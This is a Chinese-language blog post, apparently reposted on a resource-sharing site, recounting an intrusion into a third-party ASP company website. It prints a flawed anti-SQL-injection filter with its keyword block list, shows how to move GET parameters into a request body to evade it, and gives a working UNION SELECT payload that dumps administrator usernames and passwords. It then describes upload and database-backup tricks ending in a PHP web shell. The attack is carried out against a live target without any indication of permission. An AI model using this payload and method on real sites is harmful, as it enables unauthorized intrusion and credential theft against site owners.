也想出现在这里? 联系我们

利用Request对象的包解析漏洞绕过防注入程序

作者 : 小编 本文共3000个字,预计阅读时间需要8分钟 发布时间: 2021-06-12 共1.19K人阅读
也想出现在这里? 联系我们

今天无聊来看看他们的站,打开网站 asp 的企业站 ,点了几个链接看了下,看不出来什么程序 于是扫扫目录 扫出来个 upload_photo.asp 这个文件一般使用的是无惧无组件上传 ,存在双文件上传的漏洞 ,尝试 cookies 欺骗绕过登录检测 遗憾的是不行 看来这个洞被补了。。虽然是老程序 ,但是用了这么多年 ,经过无数次被黑之后 一些洞洞也被补的差不多了。。去网上找了个差不多的企业站程序下载下来研究了下 ,发现其 downloadshow.asp 的防注入是通过 check_sql.asp 文件来实现的 ,好的我们来看看这个程序 看看能不能绕过 ,本地搭建了个测试环境,下面是check_sql.asp 的内容

复制代码

代码如下:

<% Dim Query_Badword,Form_Badword,i,Err_Message,Err_Web,name \’——定义部份 头———————————————————————- Err_Message = 1 \’处理方式:1=提示信息,2=转向页面,3=先提示再转向 Err_Web = \”Err.Asp\” \’出错时转向的页面 Query_Badword=\”\’∥and∥select∥update∥chr∥delete∥%20from∥;∥insert∥mid∥master.∥set∥chr(37)∥=\” \’在这部份定义get非法参数,使用\”∥\”号间隔 Form_Badword=\”\’∥%∥&∥*∥#∥(∥)∥=\” \’在这部份定义post非法参数,使用\”∥\”号间隔 \’——定义部份 尾———————————————————————– \’ On Error Resume Next \’—– 对 get query 值 的过滤. if request.QueryString<>\”\” then response.write \”QueryString :\” & request.QueryString & \”\” Chk_badword=split(Query_Badword,\”∥\”) FOR EACH Query_Name IN Request.QueryString for i=0 to ubound(Chk_badword) If Instr(LCase(request.QueryString(Query_Name)),Chk_badword(i))<>0 Then response.write request.QueryString(Query_Name) & \”出现关键词\” & Chk_badword(i) &\”\” Select Case Err_Message Case \”1\” Response.Write \”传参错误!参数 \”&name&\” 的值中包含非法字符串!\\n\\n请不要在参数中出现:and update delete ; insert mid master 等非法字符\” Case \”2\” Response.Write \”<Script Language=JavaScript>location.href=\’\”&Err_Web&\”\'</Script>\” Case \”3\” Response.Write \”<Script Language=JavaScript>alert(\’传参错误!参数 \”&name&\”的值中包含非法字符串!\\n\\n请不要在参数中出现:and update delete ; insert mid master 等非法字符!\’);location.href=\’\”&Err_Web&\”\’;</Script>\” End Select Response.End End If NEXT NEXT End if \’—–对 post 表 单值的过滤. if request.form<>\”\” then Chk_badword=split(Form_Badword,\”∥\”) FOR EACH name IN Request.Form for i=0 to ubound(Chk_badword) If Instr(LCase(request.form(name)),Chk_badword(i))<>0 Then response.write request.form(name) & \”出现关键词\” & Chk_badword(i) &\”\” Select Case Err_Message Case \”1\” Response.Write \”出错了!表单 \”&name&\” 的值中包含非法字符串!\\n\\n请不要在表单中出现: % & * # ( ) 等非法字符!\” Case \”3\” Response.Write \”出错了!参数 \”&name&\”的值中包含非法字符串!\\n\\n请不要在表单中出现: % & * # ( ) 等非法字符!\” End Select Response.End End If NEXT NEXT end if %>

可以看出其对GET请求发送的参数 过滤的非常的严格 ,但是对于POST发送的参数却只过滤了几个符号 ,这个很好绕过的 ,但是downloadshow.asp 只接受GET 发送过来的参数啊 ,这该如何绕过?这里就要使用 asp 和 aspx 的Request对象的包解析漏洞,即像下面的形式发送的内容 ,使用 request对象仍然可以获取正确的值 GET /Downloadshow.asp HTTP/1.1 HOST:XXXXXXXXXXXXXXXX Content-Length: xx Content-Type: XXXXXXXXXXXXXXXXXX ID=111 然后 downloadshow.asp 中 使用request("ID")仍然可以获取正确的ID值 ,和直接 GET /downloadshow.asp?ID=111 的效果是一样的,但是这样的话 对于上面的那个 sql 注入检测程序 ,却会把这样的数据当作是POST提交的数据 ,再加上不到位的检测 ,sql注入漏洞就产生了,如下图所示: 点击查看原图点击查看原图点击查看原图这里有个技巧就是 使用 火狐的 Hackbar 插件 可以很方便的加上 POST 的数据 。好了 本地成功了 我们拿到目标站来试试效果 来到 downloadshow.asp 页面 提交POST 数据ID=-7%20union%20select%201%2Cusername%2C3%2C4%2C5%2C6%2Cpassword%2C8%2Cpassword%2C0%2C11%2C12%2C13%20from%20admin直接爆出管理员的用户名密码

点击查看原图

然后就是后台拿shell了 ,现在我们是管理员了而且已经登录, 那我们再来 试试双文件上传 悲剧的发现 对于 在后缀后面加空格的方法绕过后缀检测已经无效了,无惧的上传组建会检测 asp asa aspx 3种后缀 ,那么对于 asp 的站 可以试试 cer ,悲剧的是cer这个站不支持。。又看到有数据库备份 ,看看 数据库的路径和名字都不可改写 这个好办 使用 firebug 改成我上传的图片路径 然后备份文件填写1.asp 提交,本地抓下包 发现原始数据库的路径并未当作参赛提交 无语了 ……果然 像我开头说的那样虽然是垃圾站 但是经过这么多年被黑,各种小洞都补了 。。无奈 试试其他脚本类型吧 上传个 php ,还好服务器支持php ,shell 到手了。

1. 本站所提供的源码模板(主题/插件)等资源仅供学习交流,若使用商业用途,请购买正版授权,否则产生的一切后果将由下载用户自行承担,有部分资源为网上收集或仿制而来,若模板侵犯了您的合法权益,请来信通知我们(Email: rayer@88.com),我们会及时删除,给您带来的不便,我们深表歉意!
2. 分享目的仅供大家学习和交流,请不要用于商业用途!
3. 如果你也有好源码或者教程,可以到用户中心发布投稿,分享有金币奖励和额外收入!
4. 本站提供的源码、模板、插件等等其他资源,都不包含技术服务 请大家谅解!
5. 如有链接无法下载、失效或广告,请联系站长,可领回失去的金币,并额外有奖!
6. 如遇到加密压缩包,默认解压密码为"www.zyfx8.cn",如遇到无法解压的请联系管理员!
本站部分文章、资源来自互联网,版权归原作者及网站所有,如果侵犯了您的权利,请及时联系我站删除。免责声明
资源分享吧 » 利用Request对象的包解析漏洞绕过防注入程序

常见问题FAQ

免费下载或者VIP会员专享资源能否直接商用?
本站所有资源版权均属于原作者所有,这里所提供资源均只能用于参考学习用,请勿直接商用。若由于商用引起版权纠纷,一切责任均由使用者承担。更多说明请参考 VIP介绍。
织梦模板使用说明
你下载的织梦模板并不包括DedeCMS使用授权,根据DedeCMS授权协议,除个人非盈利站点外,均需购买DedeCMS商业使用授权。购买地址: http://www.desdev.cn/service-dedecms.html

发表评论

Copyright 2015-2020 版权所有 资源分享吧 Rights Reserved. 蜀ICP备14022927号-1
开通VIP 享更多特权,建议使用QQ登录